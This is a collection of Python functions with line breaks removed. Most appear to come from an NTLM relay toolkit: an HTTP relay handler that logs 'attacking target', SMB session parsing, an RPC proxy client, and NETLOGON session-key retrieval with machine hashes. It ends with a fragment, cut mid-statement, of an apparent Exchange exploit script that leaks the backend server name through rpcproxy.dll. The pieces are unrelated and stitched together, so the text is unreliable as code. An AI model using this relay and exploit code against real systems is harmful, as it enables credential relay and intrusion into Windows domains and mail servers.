def do_local_auth(self, messageType, token, proxy): if messageType == 1: negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) ansFlags = 0 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: ansFlags |= ntlm.NTLM_NEGOTIATE_OEM ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \ ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage['flags'] = ansFlags challengeMessage['domain_name'] = "" challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64)) challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS() challengeMessage['TargetInfoFields_len'] = 0 challengeMessage['TargetInfoFields_max_len'] = 0 challengeMessage['TargetInfoFields_offset'] = 40 + 16 challengeMessage['Version'] = b'\xff' * 8 challengeMessage['VersionLen'] = 8 self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy) return elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() else: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))).upper() self.target = self.server.config.target.getTarget(identity = self.authUser) if self.target is None: LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc)) self.relayToHost = True self.do_REDIRECT()
def do_ntlm_negotiate(self, token): if self.target.scheme.upper() in self.server.config.protocolClients: self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target) # If connection failed, return if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) # Remove target NetBIOS field from the NTLMSSP_CHALLENGE if self.server.config.remove_target: av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] self.challengeMessage['TargetInfoFields'] = av_pairs.getData() self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) # Check for errors if self.challengeMessage is False: return False else: LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) return False return True
def send_ntlm_type1(self, http_obj, method, path, headers, negotiateMessage): auth_headers = headers.copy() auth_headers['Content-Length'] = '0' auth_headers['Authorization'] = 'NTLM %s' % base64.b64encode( negotiateMessage).decode('ascii') http_obj.request(method, path, headers=auth_headers) res = http_obj.getresponse() res.read() if res.status != 401: raise Exception( 'Status code returned: %d. ' 'Authentication does not seem required for url %s' % (res.status, path)) if res.getheader('WWW-Authenticate') is None: raise Exception('No authentication requested by ' 'the server for url %s' % path) if self.__auth_types == []: self.__auth_types = self.parse_www_authenticate( res.getheader('WWW-Authenticate')) if AUTH_NTLM not in self.__auth_types: # NTLM auth not supported for url return None, None try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) except (IndexError, KeyError, AttributeError): raise Exception( 'No NTLM challenge returned from server for url %s' % path) if not self.__ntlmssp_info: challenge = ntlm.NTLMAuthChallenge(serverChallenge) self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields']) # Format: serverChallenge, reserved, ... return serverChallenge, None
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B', sessionSetupData['SecurityBlob'] [0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) else: # Standard Security sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) else: # Response if SMBCommand['WordCount'] == 4: # Extended Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = smb.SPNEGO_NegTokenResp( sessionData['SecurityBlob']) if respToken.fields.has_key('ResponseToken'): # Let's parse some data and keep it to ourselves in case it is asked ntlmChallenge = ntlm.NTLMAuthChallenge( respToken['ResponseToken']) if ntlmChallenge['TargetInfoFields_len'] > 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS( ntlmChallenge['TargetInfoFields'] [:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ ntlm.NTLMSSP_AV_DOMAINNAME][1].decode( 'utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data( flags=packet['Flags2'], data=sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def create_channel(self, method, headers): if self._rpcProxyUrl.scheme == 'http': self.__channels[method] = HTTPConnection(self._rpcProxyUrl.netloc) else: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc, context=uv_context) except AttributeError: self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc) auth = ntlm.getNTLMSSPType1(domain=self.__domain) auth_headers = headers.copy() auth_headers['Content-Length'] = '0' auth_headers['Authorization'] = b'NTLM ' + base64.b64encode( auth.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path, headers=auth_headers) res = self.__channels[method].getresponse() res.read() if res.status != 401: raise RPCProxyClientException( 'Status code returned: %d. Authentication does not seem required for url %s' % (res.status, self._rpcProxyUrl.path)) if res.getheader('WWW-Authenticate') is None: raise RPCProxyClientException( 'No authentication requested by the server for url %s' % self._rpcProxyUrl.path) if 'NTLM' not in res.getheader('WWW-Authenticate'): raise RPCProxyClientException( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'No NTLM challenge returned from server for url %s' % self._rpcProxyUrl.path) # Default ACL in HKLM\SOFTWARE\Microsoft\Rpc\ValidPorts allows connections only by NetBIOS name of the server. # If remoteName is empty we assume the target is the rpcproxy server, and get its NetBIOS name from NTLMSSP. # # Interestingly, if Administrator renames the server, the ACL remains the original. if not self.__ntlmssp_info: challenge = ntlm.NTLMAuthChallenge(serverChallenge) self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields']) if not self.__remoteName: self.__remoteName = self.__ntlmssp_info[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') self._stringbinding.set_network_address(self.__remoteName) if not self._rpcProxyUrl.query: query = self.__remoteName + ':' + str(self.__dstport) self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) headers['Authorization'] = b'NTLM ' + base64.b64encode(type3.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query, headers=headers) auth_resp = self.__channels[method].sock.recv(8192) if auth_resp != b'HTTP/1.1 100 Continue\r\n\r\n': try: auth_resp = auth_resp.split(b'\r\n')[0].decode( "utf-8", errors='replace') raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method, proxy_error=auth_resp) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method)
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key print "[*] Connecting to %s NETLOGON service" % self.domainIp respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) _, machineAccount = self.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = ntlm.AV_PAIRS(av_pairs) serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.machineHashes) > 0: lmhash, nthash = self.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', '12345678') serverChallenge = resp['ServerChallenge'] if self.machineHashes == '': ntHash = None else: ntHash = self.machineHashes.split(':')[1].decode('hex') sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = '\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except Exception, e: #import traceback #print traceback.print_exc() print "[!] %s " % e return e.get_error_code()
f'{args.frontend}/rpc/rpcproxy.dll') r.headers['Authorization'] = f'NTLM {ntlmHash}' sess = requests.Session() if args.proxy: proxies = {'https': args.proxy} else: proxies = {} r = sess.send(r.prepare(), verify=False, proxies=proxies) if r.status_code != 401: raise Exception(f'RPC NTLM Session Auth received {r.status_code}') serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', r.headers['WWW-Authenticate']).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = ntlm.NTLMAuthChallenge(serverChallenge) hashData = ntlm.AV_PAIRS(challenge['TargetInfoFields']) args.backend = str(hashData.fields[3][1], 'utf-16') print(f'Backend: {args.backend}') p = Proxy(args.frontend, args.backend, proxy=args.proxy) if args.email is not None: url = '/autodiscover/autodiscover.xml' r = requests.Request('POST', url) r.headers['Content-Type'] = 'text/xml' r.data = f'<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{args.email}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover> ' r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected autodiscover status {r.status_code}') print(r.text) # Jine added